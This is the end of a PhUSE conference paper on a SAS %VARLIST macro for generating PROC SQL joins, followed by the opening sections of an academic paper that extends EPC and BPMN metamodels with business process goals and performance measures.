As such a long pattern could be of much use, a shorthand has been created: keyword #vlenlabfmt# will be replaced by the sequence: <variable> [LENGTH=<length>] LABEL=<quoted label> [FORMAT=<format>] [INFORMAT=<informat>] where parts between square brackets [] will only be present if the corresponding variable attribute could be retrieved from the associated dataset.
Finally, for a user looking for the first time at the contents of a SAS dataset, it can be quite handy to display both the label and the name of each variable at once (the functionality exists in SAS Viewer, but not within SAS ViewTable nor in PROC PRINT or PROC SQL output. Therefore the following pattern= keywords have been defined, which result in the dataset and variable name (within square brackets) being appended to the variable label: \#vlabsrc#, \#vlabsrcq#, \#vlabsrcfmt# (as replacement for the same keywords without "src").
Let us illustrate this by looking at the first 5 variables (var=\#1-5\#) and first 2 records (inobs=2) in SASHELP.VCOLUMN:
```
proc sql inobs=2;
select %VARLIST(data=sashelp.vcolumn, var=\#1-5\#, sep=\#cs\#, pattern=\#vlabsrcfmt\#) from sashelp.vcolumn;
quit;
```
<table>
<thead>
<tr>
<th>Library Name</th>
<th>Member Name</th>
<th>Member Type</th>
<th>Column Name</th>
<th>Column Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SASHELP</td>
<td>AACOMP</td>
<td>DATA</td>
<td>locale</td>
<td>char</td>
</tr>
<tr>
<td>SASHELP</td>
<td>AACOMP</td>
<td>DATA</td>
<td>key</td>
<td>char</td>
</tr>
</tbody>
</table>
With the MPRINT option, the log shows how the code generated by %VARLIST() was integrated in the PROC SQL call, together with the length of the variables and the (absence of) format in their definition, and therefore clearly documents how the output was generated:
```
8821 proc sql inobs=2;
8822 select %VARLIST(data=sashelp.vcolumn, var=\#1-5\#, sep=\#cs\#, pattern=\#vlabsrcfmt\#) from sashelp.vcolumn;
8823 MPRINT(VARLIST): libname length=8 label="Library Name [SASHELP.VCOLUMN.LIBNAME]",
8824 memname length=32 label="Member Name [SASHELP.VCOLUMN.MEMNAME]",
8825 memtype length=8 label="Member Type [SASHELP.VCOLUMN.MEMTYPE]",
8826 name length=32 label="Column Name [SASHELP.VCOLUMN.NAME]",
8827 type length=4 label="Column Type [SASHELP.VCOLUMN.TYPE]"
8828 from sashelp.vcolumn;
```
**PROCESSING LISTS OF VARIABLES WITHOUT A SPECIFIED DATASET**
%VARLIST() can also be used to process lists of variables without specified datasets to lookup variable attributes, when no variable keyword is specified that requires a dataset (such as: \#all\#, \#num\#, \#char\#, \#3\#, \#4-7\#, \<prefix\>: \<suffix\>, \<prefix\>:\<suffix\>, \<var1\>-\<var2\>, \<var1\>-\<var2\>\, \!<pattern\>\)).
This can be useful to expand some keyword constructs that do not require a lookup dataset, e.g. col05-07 will be expanded as: COLO5 COLO6 COLO7. Also, when macro-variables are used to refer to dynamic variable lists (space-separated), %VARLIST() can be used to return them separated by commas for use in PROC SQL calls.
E.g. a list of key variables may be space-separated to be used in a BY statement of a DATA or PROC step, but should be comma-separated for use in an SQL query:
```
%let keyvars=STUDYID USUBJID AVISITN PARAMCD;
proc sql;
create table x2 as select * from x1
order by %VARLIST(var=&keyvars, sep=\#cs\#);
quit;
```
With option MPRINT, the log shows:
```
8827 proc sql;
8828 create table x2 as select * from x1
8829 order by %VARLIST(var=&keyvars, sep=\#cs\#);
8830 MPRINT(VARLIST): STUDYID, USUBJID, AVISITN, PARAMCD
8831 quit;
```
Additional variable list operators may prove useful when processing dynamic lists of variables, passed as macro variables:
- **\#intersect\#:** when present between two sublists of variables, this will resolve into one list of variables that are present in both of the sublists
- **\#xor\#:** when present between two sublists of variables, this will resolve into one list of variables that are present in either of the sublists but not both
- **\#not\#:** (or \#except\#) (already mentioned above); when present between two sublists of variables, this will resolve into one list of variables that are present on the left of the operator but only if not present on the right
Note: variable list operators are processed sequentially from left to right, and using parentheses to alter evaluation order is not supported. A variable sublist is defined as all the variables between one variable list operator (or the start
of the list) and the next variable list operator (or the end of the list) specified as value for the var= parameter. Variable list operators process sublists in a case-insensitive way, so the result of: age #not# AGE is an empty list.
**USING THE MACRO-FUNCTION %VARLIST IN SQL JOINS AND OTHER CLAUSES**
Most SQL Joins used in the processing of clinical data can be considered as some particular case of an OUTER JOIN, which means combining two datasets based on specified matching rules (often an equijoin, i.e. observations from both dataset match when corresponding variable(s) have equal values), while keeping all observations from each dataset that do not have a match in the other dataset (=FULL JOIN), in addition to all observations that actually match between both datasets (and are therefore combined together). The particular case of not keeping observations that do not match corresponds to an INNER JOIN. The case of keeping non-matching observations from only one dataset in addition to the matching observations is a LEFT JOIN (if non-matching observations from the first dataset are kept), or a RIGHT JOIN (if non-matching observations from the second dataset are kept).
If we want to develop code that can be easily adapted to the most complex cases, we need to consider each case as potentially a FULL (OUTER) JOIN, although INNER and LEFT or RIGHT (OUTER) JOINS may have a simpler (but less easily adaptable) implementation. NATURAL joins offer the least possibility to control and adapt.
**FULL OUTER JOIN EXAMPLE**
Let's consider the need to merge two datasets:
- CC05.SiteID, with data about Sites involved in a Clinical Study
- CC05.Shipment, which records the Investigational Product Shipments to the Clinical Study Sites
We can use PROC SQL with %VARLIST() to show the contents of both datasets.
The log shows:
12455 proc sql;
12456 title "CC05.SiteID: Sites involved in Clinical Study";
12457 select %VARLIST(data=CC05.SiteID, pattern=#vlenlabsrcfmt#, sep=#cs#)
12458 MPRINT(VARLIST): SITEID length=8 label="Site ID [CC05.SITEID.SITEID]",
12459 CITY length=12 label="City [CC05.SITEID.CITY]",
12460 STATE length=12 label="State [CC05.SITEID.STATE]",
12461 HOSPITAL length=61 label="Hospital [CC05.SITEID.HOSPITAL]"
12462 from CC05.SiteID;
<table>
<thead>
<tr>
<th>Site ID [CC05.SITEID.SITEID]</th>
<th>City [CC05.SITEID.CITY]</th>
<th>State [CC05.SITEID.STATE]</th>
<th>Hospital [CC05.SITEID.HOSPITAL]</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Atlanta</td>
<td>Georgia</td>
<td>Children's Healthcare of Atlanta</td>
</tr>
<tr>
<td>2</td>
<td>Chicago</td>
<td>Illinois</td>
<td>Ann and Robert H. Lurie Children's Hospital of Chicago</td>
</tr>
<tr>
<td>3</td>
<td>Los Angeles</td>
<td>California</td>
<td>Children's Hospital Los Angeles</td>
</tr>
<tr>
<td>4</td>
<td>Houston</td>
<td>Texas</td>
<td>Texas Children's Hospital, Houston</td>
</tr>
</tbody>
</table>
12467 proc sql;
12468 title "CC05.Shipment: IP Shipments to Clinical Study Sites";
12469 select %VARLIST(data=CC05.Shipment, pattern=#vlenlabsrcfmt#, sep=#cs#)
12470 MPRINT(VARLIST): SHIPID length=8 label="Shipment ID [CC05.SHIPMENT.SHIPID]",
12471 SITEID length=8 label="Site ID [CC05.SHIPMENT.SITEID]",
12472 SHIPDATE length=8 label="Shipment Date [CC05.SHIPMENT.SHIPDATE]" format=DATE9.
12473 from CC05.Shipment;
<table>
<thead>
<tr>
<th>Shipment ID [CC05.SHIPMENT.SHIPID]</th>
<th>Site ID [CC05.SHIPMENT.SITEID]</th>
<th>Shipment Date [CC05.SHIPMENT.SHIPDATE]</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>3</td>
<td>15JAN2012</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>21JAN2012</td>
</tr>
<tr>
<td>3</td>
<td>4</td>
<td>20MAY2012</td>
</tr>
<tr>
<td>4</td>
<td>1</td>
<td>22MAY2012</td>
</tr>
<tr>
<td>5</td>
<td>5</td>
<td>03JUN2012</td>
</tr>
</tbody>
</table>
PhUSE 2015
In a full outer equijoin, the datasets have to be merged by matching on equal values of corresponding variables. The matching conditions are specified in an ON clause. Generally when variables with same name and type exist in both datasets (variable SITEID in our example) they should be used as part of the matching key, although there might be exceptions – key variables may have different names, or require type conversion, and in case many variables have common names and types some may need to be excluded from the matching key. This may be because they are redundant, have values that don’t match exactly (e.g. open fields such as comments, verbatim drug name, Adverse event or medical condition) or that have been updated more recently in one dataset than in the other. Alternatively they may have incompatible types that cannot be converted into each other, or simply represent distinct concepts.
In our example we need to match records having the same SHIPID value in both dataset, which we may want to code:
```
ON CC05.SiteID.SITEID = CC05.Shipment.SITEID
```
However SQL only supports one- or two-level variable names, the libname part cannot be included, so we must use:
```
ON SiteID.SITEID = Shipment.SITEID
```
The SQL SELECT clause needs to list all variables to be retrieved from the JOIN in the desired order for the resulting dataset. When the same variable name exists in both datasets being joined, we must specify from which dataset the variable shall be taken, otherwise the first dataset containing that variable will be assumed.
But if the resulting dataset has to include non-matching observations from both dataset, choosing to retrieve a variable from a single dataset will result in missing values for the non-matching observations originating from the other dataset.
To avoid this, we can use the COALESCE() function, which uses the value from its first argument having a non-missing value, if any. All its arguments must have the same type. The results of the COALESCE() function do not inherit the variable attributes (name, label, format, informat, length) from the source variable(s), only the variable type is kept and default attribute values are assigned. So in order to retain the relevant attributes from the source variable they must be explicitly specified after the COALESCE function.
Therefore we can use:
```
SELECT COALESCE(SiteID.SITEID, Shipment.SITEID) as SITEID length=8 label="Site ID"
```
This piece of code can be generated for all variables in common to both datasets with:
```
SELECT %VARLIST(data=CC05.SiteID #INTERSECT# CC05.Shipment, sep=#cs#, pattern=COALESCE(SiteID.#var#, Shipment.#var#) as #vlenlabfmt#)
```
In order to also include in the SELECT clause the list of variables that exist in one dataset but not both, we can add:
`%VARLIST(data=CC05.SiteID #XOR# CC05.Shipment, sep=#cs#)
```
With default `pattern=` value, the variables are listed without specifying their source dataset, which is acceptable for those variables that only exist in a single dataset. However we could have it completely specified (in the log) with `pattern=#dsa#.var#` (or if both datasets were specified as one-level, with `pattern=#dsn#.var#`).
Indeed the `pattern=` keyword `#dsn#` resolves as the dataset name (including libname if specified), but `#dsa#` resolves either as the dataset alias (if specified), or (if not) as the bare dataset name (without libname).
To specify a dataset alias in the `data=` parameter, we can use the syntax: `data=[libname.]<dataset>[:<alias>].`
In that case, the same dataset alias must also be specified in the SQL FROM clause:
```
FROM [libname.]<dataset> [as <alias>].
```
It is possible to combine and simplify the two `%VARLIST()` calls above, as well as generalize them for the case where more than 2 datasets are joined together successively, as:
```
SELECT %VARLIST(data=CC05.SiteID CC05.Shipment, sep=#cs#, pattern=#autoCOAL#)
```
where pattern keyword `#autoCOAL#` generates either the appropriate `COALESCE()` function call for all variables that exist in more than one dataset specified in `data=` parameter, or the equivalent to `pattern=#dsa#.var#` for variables found in a single of these datasets.
The type of JOIN (FULL, LEFT, RIGHT or INNER), the second dataset (with alias if applicable) and the SQL ON clause must then be specified after the first dataset on the FROM clause. When the syntax for a FULL join is used from the beginning, changing the type of JOIN is just a matter of replacing the keyword FULL with the desired type.
In our example (full equijoin matching on all variables in common and without assigning dataset aliases), we could have:
```
FROM CC05.Shipment FULL JOIN CC05.SiteID
ON %VARLIST(data=CC05.SiteID #INTERSECT# CC05.Shipment, sep=#and#, pattern=SiteID.#var# eq Shipment.#var#)
```
Note `sep=#and#` in case more than one variable are common to both datasets, since the generated ON clause must be like: `ON (SiteID.<var1>=Shipment.<var1>) and (SiteID.<var2>=Shipment.<var2>)` [and ..]
In this last `%VARLIST()` call, the pattern can also be simplified and generalized for the case where more than 2 datasets specified in `data=` parameter are joined together successively using keyword `#autoEQ#`, as:
```
%VARLIST(data=CC05.SiteID #INTERSECT# CC05.Shipment [#INTERSECT# ..], sep=#and#, pattern=#autoEQ#)
```
The complete code for this JOIN (after adding a CREATE TABLE clause and an optional ORDER BY clause) would show the following in the log:
```
13988 proc sql;
```
create table SiteShip2 as
select %VARLIST(data=SiteID Shipment, sep=#cs#, pattern=#autoCOAL#)
MPRINT(VARLIST): coalesce(SiteID.SITEID, Shipment.SITEID) as SITEID length=8
label="Site ID", SiteID.CITY, SiteID.STATE, SiteID.HOSPITAL, Shipment.SHIPID,
Shipment.SHIPDATE
from SiteID full join Shipment
on %VARLIST(data=CC05.SiteID #INTERSECT# CC05.Shipment, sep=#and#, pattern=#autoEQ#)
MPRINT(VARLIST): (SiteID.SITEID = Shipment.SITEID)
order by SiteID, SHIPID ;
NOTE: Table WORK.SITESHIP2 created, with 6 rows and 6 columns.
title "CC05.SiteShip: Investigational Product Shipment by Site";
select * from CC05.SiteShip;
Note a record with Site ID = 2 was not found in dataset CC05.Shipment, therefore corresponding variables Shipment ID and Shipment date remained empty. This record would have been dropped in a LEFT JOIN.
A record with Site ID = 5 was not found in dataset CC05.SiteShip, therefore corresponding variables City, State and Hospital have missing values. This record would have been dropped in a RIGHT JOIN.
With an INNER JOIN, both non-matching records (with Site IDs 2 and 5) would have been dropped.
The Site ID (SITEID) variable which was in common to both datasets always has a value even in non-matching records thanks to the COALESCE() function.
GENERALIZED SQL JOIN SYNTAX
Instead of only generating the contents of one ON clause with pattern=#autoEQ#, it is possible to automatically generate the contents of a complete FROM clause (including JOINs between 2 or more datasets), based on the following assumptions:
- The dataset(s) listed in data= parameter must be included (with corresponding alias(es) if defined)
- If multiple datasets are present, they must be joined successively using equijoin(s), which can be specified using the specific keywords #autoFULLEQ#, #autoLEFTEQ#, #autoRIGHTEQ# and #autoINNEREQ# respectively as either FULL, LEFT, RIGHT or INNER joins
- The ON clause must specify the equality of all variables in common between the left-hand dataset (or intermediate datasets resulting from preceding merges) to be merged and the (next) right hand dataset. If no variables are in common, the ON clause will be specified as the condition (1 EQ 1), which is always true and results in a Cartesian Product or CROSS JOIN
One of these 4 specific keywords can be specified either as the full contents of the pattern= parameter, so that the %VARLIST() call returns the code of the FROM clause, or as the full contents of parameter from=, so that it returns the entire code of the SELECT clause, followed by the SQL keyword FROM and the full contents of the FROM clause.
Let's consider the additional dataset Randolist with the following variables:
%put %VARLIST(data=CC05.RandoList);
TRTN TRTCD TRT SHIPID BLKID PACKID RANDOMORDER
We can now JOIN this dataset together with the previous two, via a FULL equijoin based on the variables in common, using dataset aliases and excluding (e.g.) the variable RANDOMORDER as follows (with a single %VARLIST() call):
proc sql;
create table CC05.SiteShipRand3 as select
The log shows:
3571 create table CC05.SiteShipRand3 as select
3572 %VARLIST(data=CC05.SiteID:a CC05.Shipment:b RandoList:c , var=#all# #not# :ORDER, sep=#cs#, pattern=#autoCOAL#, from=#autoFULLEQ#);
MPRINT(VARLIST): coalesce(a.SITEID, b.SITEID) as SITEID length=8 label="Site ID"
, a.CITY, a.STATE, a.HOSPITAL
, coalesce(b.SHIPID, c.SHIPID) as SHIPID length=8 label="Shipment ID"
, b.SHPDATE, c.TRN, c.TRTC, c.TRT, c.BLKID, c.PACKID
FROM CC05.SiteID as a
FULL JOIN CC05.Shipment as b ON (a.SITEID = b.SITEID)
FULL JOIN RandoList as c ON (b.SHIPID = c.SHIPID)
NOTE: Table CC05.SITESHIPRAND3 created, with 50 rows and 11 columns.
THE %VARLIST MACRO CODE
The full macro code (and additional examples of use) are available at
CONCLUSION
Carefully built %VARLIST() calls, combined with additional SQL keywords and possibly referring to variables list passed as macro-variables can be used to consistently generate dynamic code for one or more powerful SQL joins of low to high complexity, precisely documented in the log. Consequently, it seems this macro can provide a good programming basis and even prove to be time-saving and prevent errors in the somewhat cumbersome process of coding SQL complex joins.
REFERENCES
Foster, Edward. "Create your own Functions using SAS/MACRO and SCL", PhUSE 2006, CS06.
Hendrickx, John. "Dequote me on that: Using the dequote function to add some friendliness to SAS macros", PhUSE 2014, CC02.
SAS Institute, "SAS 9.3 Macro Language: Reference"
SAS Institute, "SAS 9.3 Functions and Call Routines: Reference"
Williams, Christianna S. "Queries, Joins, and WHERE Clauses, Oh My!! Demystifying PROC SQL", SAS Global Forum 2012
ACKNOWLEDGEMENTS
The author's thanks go to Olena Andriyevska, Geert Peel and Dirk Spruck for their support.
CONTACT INFORMATION
Your comments and questions are valued and encouraged. Contact the author at:
Jean-Michel Bodart
Business & Decision Life Sciences
Rue Saint-Lambert 141
1200 Brussels (Belgium)
Work Phone: +32 (0)2 774 11 00
Fax: +32 (0)2 774 11 99
Email: jean-michel.bodart@businessdecision.com
Web: www.businessdecision-lifesciences.com
Brand and product names are trademarks of their respective companies.
1 The same applies to #vlab# for variables without a label
|
{"Source-Url": "https://www.phusewiki.org/docs/Conference%202015%20CC%20Papers/CC05.pdf", "len_cl100k_base": 8151, "olmocr-version": "0.1.53", "pdf-total-pages": 8, "total-fallback-pages": 0, "total-input-tokens": 31511, "total-output-tokens": 8786, "length": "2e12", "weborganizer": {"__label__adult": 0.0002944469451904297, "__label__art_design": 0.00036978721618652344, "__label__crime_law": 0.0002903938293457031, "__label__education_jobs": 0.001697540283203125, "__label__entertainment": 8.434057235717773e-05, "__label__fashion_beauty": 0.0001399517059326172, "__label__finance_business": 0.0009288787841796876, "__label__food_dining": 0.00038504600524902344, "__label__games": 0.0004944801330566406, "__label__hardware": 0.0007004737854003906, "__label__health": 0.0010890960693359375, "__label__history": 0.00017833709716796875, "__label__home_hobbies": 0.0001251697540283203, "__label__industrial": 0.00046133995056152344, "__label__literature": 0.00018405914306640625, "__label__politics": 0.0001926422119140625, "__label__religion": 0.0003209114074707031, "__label__science_tech": 0.025238037109375, "__label__social_life": 0.00011491775512695312, "__label__software": 0.11553955078125, "__label__software_dev": 0.8505859375, "__label__sports_fitness": 0.000213623046875, "__label__transportation": 0.00026726722717285156, "__label__travel": 0.00020647048950195312}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 32682, 0.03131]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 32682, 0.49489]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 32682, 0.79691]], "google_gemma-3-12b-it_contains_pii": [[0, 3803, false], [3803, 8511, null], [8511, 13212, null], [13212, 17316, null], [17316, 21626, null], [21626, 27166, null], [27166, 30219, null], [30219, 32682, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3803, true], [3803, 8511, null], [8511, 13212, null], [13212, 17316, null], [17316, 21626, null], [21626, 27166, null], [27166, 30219, null], [30219, 32682, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 32682, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 32682, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 32682, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 32682, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 32682, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 32682, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 32682, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 32682, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 32682, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 32682, null]], "pdf_page_numbers": [[0, 3803, 1], [3803, 8511, 2], [8511, 13212, 3], [13212, 17316, 4], [17316, 21626, 5], [21626, 27166, 6], [27166, 30219, 7], [30219, 32682, 8]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 32682, 0.05724]]}
|
olmocr_science_pdfs
|
2024-12-11
|
2024-12-11
|
c89ad643aada421f02efeae37f8955f85bf19bfe
|
EXTENDING THE EPC AND THE BPMN WITH BUSINESS PROCESS GOALS AND PERFORMANCE MEASURES
Birgit Korherr and Beate List
Women's Postgraduate College for Internet Technologies, Institute of Software Technology and Interactive Systems, Vienna University of Technology, 1040 Vienna, Austria
Keywords: Business process modelling, metamodel, Event Driven Process Chain, Business Process Modeling Notation.
Abstract: The Event-Driven Process Chain (EPC) and the Business Process Modeling Notation (BPMN) are designed for modelling business processes, but do not yet include any means for modelling process goals and their measures, and they do not have a published metamodel. We derive a metamodel for both languages, and extend the EPC and the BPMN with process goals and performance measures to make them conceptually visible. The extensions are based on the metamodels tested with example business processes.
1 INTRODUCTION
Business process performance measurement is an important topic in research and industry (Casati F., 2005). However, current conceptual Business Process Modelling Languages (BPMLs) do not mirror these requirements by providing explicit modelling means for process goals and their performance measures (List, B., Korherr, B., 2006). The goal of this paper is to address these limitations by
- enhancing the expressiveness of the most widely-used BPMLs, namely the Event-Driven Process Chain (EPC) and the Business Process Modeling Notation (BPMN) by deriving metamodels for both, and by
- extending their metamodels with business process goals and performance measures to make them conceptually visible.
EPCs have become widely-used for business process modelling in continental Europe, in countries where SAP is a leading Enterprise Resource Planning (ERP) system. EPCs are inspired from Petri nets, incorporate role concepts and data models like ER models or UML class diagrams.
The BPMN is wide spread in the US and in countries where US companies dominate the ERP system market. The BPMN was developed by the Business Process Management Initiative (BPMI) with the goal to provide a notation that is easily readable and understandable for all business users (BPMI/OMG, 2006), who design, implement or monitor business processes. Thus the BPMN aims to bridge the gap between business process design and its implementation. According to the evaluation in (List, B., Korherr, B., 2006), the EPC and the BPMN belong to the most advanced BPMLs beside the UML 2 Activity Diagram (OMG, 2006). Although the EPC offers notation elements for business process goals, it does not provide elements that make performance measures visible. BPMN does not provide elements that make business process goals or performance measures visible at all. In a previous work (Korherr, B., List, B., 2006), we have extended UML 2 Activity Diagrams with performance measures and goals to make them conceptually visible. We want to extend all three languages with goals and performance measures, but different mechanisms will be used. At UML 2 Activity Diagrams a UML profile was created, and at the EPC we will introduce a new view, as well as at BPMN we will establish a new category.
The BPMN only provides notation elements and no official metamodel published e.g. from the Business Process Management Initiative (BPMI) or the Object Management Group (OMG), while the EPC provides metamodels for its views, but not an integrated metamodel that contains all views in one model.
We derive a metamodel for the EPC and the BPMN based on the Meta-Object Facility (MOF), the OMG’s meta-metamodel (OMG, 2006). We extend the metamodels with business process goals
and performance measures, and thus, provide the following contributions:
- Modelling goals and performance measures allow to better structure the process design and to better understand the broader implication of the process design.
- Performance measures quantify business process goals, and thus help to evaluate the process design and the operating process. The extended EPC and BPMN make the evaluation criteria for a business process conceptually visible.
In the remainder of the paper, the role of business process goals and performance measures is briefly discussed in Section 2 and the generic metamodel extension will be described in Section 3. The metamodel of the EPC and the BPMN with its extensions for process goals and performance measures is described in Section 4 and 5. The extension of the EPC and the BPMN is tested with an example business process in Section 6. We close with related work (Section 7), followed by a conclusion (Section 8).
2 PERFORMANCE MEASURES
With business process reengineering Davenport, Hammer and Champy encouraged a new discipline at the beginning of the 1990s and provided the theoretical background for business process modelling. In the business process modelling community attention has so far only been given to the modelling of certain aspects of processes (e.g. roles, activities, interactions) rather than goals or measures. The former theoretical aspects are mirrored in several business process modelling languages (BPMLs), i.e., in BPMN (BPMI/OMG, 2006), EPC (Scheer, A.-W., 1999), the UML 2 Activity Diagram (OMG, 2006), etc.
A business process is defined as a “group of tasks that together create a result of value to a customer” (Hammer, M., 1996). Its purpose is to offer each customer the right product or service, i.e., the right deliverable, with a high degree of performance measured against cost, longevity, service and quality (Hammer, M., 1996). Although process goals and performance measures lack the visibility in conceptual BPMLs, they are used in process theory.
According to Kueng and Kawalek (Kueng, P., Kawalek, P., 1997), the modelling of goals is a critical step in the creation of useful process models, for the following reasons:
- We need to be able to state what we want to achieve so that we are then able to define the necessary activities which a business process should encompass.
- A clear understanding of goals is essential in the management of selecting the best design alternative.
- A clear understanding of goals is essential for it to be possible to evaluate the operating quality of a business process.
- A clear expression of goals makes it easier to comprehend the organisational changes that must accompany a business process redesign.
For all the reasons described above, we capture the business process goals and represent them graphically in a conceptual BPML, namely the EPC and BPMN. Furthermore, Kueng and Kawalek recommend in (Kueng, P., Kawalek, P., 1997) to define to which extent the process goals are fulfilled, to measure the achievement of goals either by qualitative or quantitative measures, and to define a target value for each measure. Target values are also very important for Service Level Agreements (SLAs) as well as for business process improvement.
3 GENERIC METAMODEL EXTENSION
As a first step according to the missing concepts found out in the evaluation of List et al., we capture goals as well as measures and represent them graphically in two conceptual BPMLs, namely EPCs and BPMN.
The metamodel of the EPC and the BPMN will be extended by a small generic metamodel of goals and performance measures shown in Figure 1. The big advantage of that generic metamodel is that it can be integrated in every BPML at that point where it is needed. It contains two core concepts, namely Measure and Process Goal. While these two concepts do not appear as notation elements in BPMN, the process goal is a part of EPC. Often it does not appear in the graphical notation of a business process modelled with EPCs, and there are no measures available for quantifying a goal.
A process goal describes the specific intension of a business process and is quantified by at least one measure. Furthermore the goal can be refined by one or more sub goals. A measure is an abstract metaclass, and can be classified and implemented as Quality, Cost or Cycle Time. A measure is responsible for the concrete quantification of different goals as well as for measuring the performance of a business process.
Quality has the aim to measure the quality of a business process, which can be expressed e.g., by a low number of complaints or a high customer
satisfaction, described in Fig. 1 through the attributes maxComplaints as well as avgComplaints. The attribute maxComplaints shows the total number of complaints, and the attribute avgComplaints shows the average allowed number of complaints measured for instance during the time period of a month.
Cost represents the expenses a business process requires for instance for its execution. Its attributes maxCost and avgCost are necessary for comparing for example the average values like the total and monthly average cost of a certain process. The performance measures of quality and cost are in contrast to the measures of the cycle time often more focused on the type level of a process, as the required data is often not available on instance level.
The measure cycle time presents a time based measure and defines the processing duration of a business process instance, or part of it. Cycle Time can be specialised as Working Time or Waiting Time. Working time presents the actual time a business process instance is being executed by a role. Waiting time shows the time the process instance is waiting for further processing. Moreover, cycle time has two attributes maxDuration and isDuration for representing the target value and the actual value of the process duration or a part of it.
Figure 1: Generic metamodel of goals and performance measures.
4 THE EPC
The EPC (Scheer, A.-W., 1999) has been developed within the framework of the Architecture of Integrated Information System (ARIS) and is used by many companies for modelling, analysing, and redesigning business processes. The ARIS concept (Scheer, A.-W., 1999) divides complex process models into separate views, in order to reduce the complexity. The views can be handled independently as well as related. There are three views focused on functions, data, and the organisation (see Fig. 2), and an additional view focused on their integration.
The Data View contains events and statuses. The Function View contains the description of the activities that have to be performed. The Organisation View represents the organisational structure. This includes organisational units, employees and roles as well as their relationships. The Control View links functions, organisation and data. It integrates the design results, which were initially developed separately.
Figure 2: ARIS Views.
4.1 The EPC Metamodel
The metamodel of the EPC is described in Figure 4. An EPC consists of functions, events, control flow connectors, logical operators, and additional process objects. Each EPC consists of one or more Functions and two or more Events, as an EPC starts and ends with an event and requires at least one function for describing a process. A function can be either an Elementary Function or a Complex Function, and the latter is refined by at least one function. A function is connected with two Control Flow Connectors and has to fulfil at least one Process Goal. A process goal can be refined by one or more sub goals. Control flows link events with functions, but also events or functions with Logical Operators, which can be either an XOR, OR or AND. It is connected at least with 3 control flows, one or more incoming as well as outgoing connectors.
A Deliverable, an Information Object, an Organisational Structure as well as Process Goals are called additional process objects and are connected with functions. All these types of additional process objects are assigned to one or more functions.
4.2 The Extended EPC Metamodel
The metamodel is extended by introducing a new view, the so called performance measure view. It is shown with the performance measure elements highlighted in grey in Figure 4. The relationship between goals and measures in a so called goal measure tree is illustrated in Figure 3 in the context to the examples in section 6. A goal can have several sub goals, and each goal has at least one measure and is connected with one or more Measure Flow Connectors. Its main process goal is good process performance. This goal has three sub-goals: low
processing costs, short process duration, and high customer satisfaction. Furthermore each goal is refined by measures. The goal low processing costs is fulfilled, when the average processing costs per month are under 15 Euros. The measure cycle time indicates that the process duration has to be less than four days. Moreover the goal high customer satisfaction is achieved, if the average percentage of complaints per month is less than five percent.
Figure 3: Goal Measure Tree.
5 THE BPMN
The BPMN was developed by the Business Process Management Initiative (BPMI) with the goal to provide a notation that is easily readable and understandable for all business users (BPMI/OMG, 2006), who design, implement or monitor business processes including a transformation into an execution language, namely the Business Process Execution Language, (BPEL) (IBM, 2003). Thus the BPMN aims to bridge the gap between business process design and its implementation. The main concepts of BPMN are similar to UML 2 Activity Diagrams (AD) (OMG, 2006). But in contrast to ADs, the BPMN has no official metamodel, just a mapping to the Business Process Definition Metamodel (OMG, 2004) which is not fully developed yet.
5.1 The BPMN Metamodel
We derived the BPMN metamodel from the core elements of BPMN ((BPMI/OMG, 2006)) which is shown in Figure 5. It includes process goals and performance measures (in grey). The metamodel was developed according to the specification of BPMN. The BPMN metamodel consists of four different categories: Flow Objects, Connecting Objects, Swimlanes, Artifacts and the newly introduced Performance Measures.
The elements Activity, Process, Sub-Process, Task as well as Events and Gateways are Flow Objects, which define the behaviour of a business process. A process consists of one or more activities. The activity is the main part of a BPMN, and is specialised through sub-processes that consist of at least one task. An event is something that “happens” during the execution of a business process. There are three types of events, based on when they affect the flow: Start, Intermediate, and End. Also the Time Event, which can be a start or an intermediate event, is part of the metamodel because it is required for presenting the measure of time. It belongs to the complete set of elements, which displays a more extensive list of the business process concepts that could be depicted through BPMN. A Gateway is used to control the divergence and convergence of a sequence flow. Markers within a gateway show the type of that flow object, it will determine between the logical operators XOR, OR, and AND, which stand for the Exclusive (XOR), Inclusive (OR) and Parallel (AND) gateway. Furthermore the type Complex indicates complex conditions and situations, for instance that three paths out of five have to be chosen.
The connecting objects Sequence Flow, Message Flow and Association describe the ways of connecting the flow objects to each other. A message flow can be connected to at most two activities, or occur between an activity and a pool, or between two pools to illustrate the exchange of messages. A sequence flow shows the order in which activities are performed in a process, and relates activities, gateways and events to each other. An association is used to associate information to activities, and associates a Data Object to a flow or connects it to an activity.
Data objects as well as a Group and Text Annotations belong to the category of artefacts. They do not have any effect on the process flow at all. A data object can be used to represent many different types of objects, both electronic and physical, and provides information about what the process does. A group groups elements of a business process informally, and it is also used to assign process goals to a business process. A text annotation is a mechanism for a modeller to provide additional information for the reader of a BPMN Diagram, and is not integrated in the metamodel for sake of simplicity.
A Pool represents a participant in a process and belongs to the category of swimlanes, and it groups a set of activities for identifying activities that have some characteristic in common. A pool can be connected with other pools or activities by a message flow. A Lane is a sub-partition within a pool.
5.2 The Extended BPMN-Metamodel
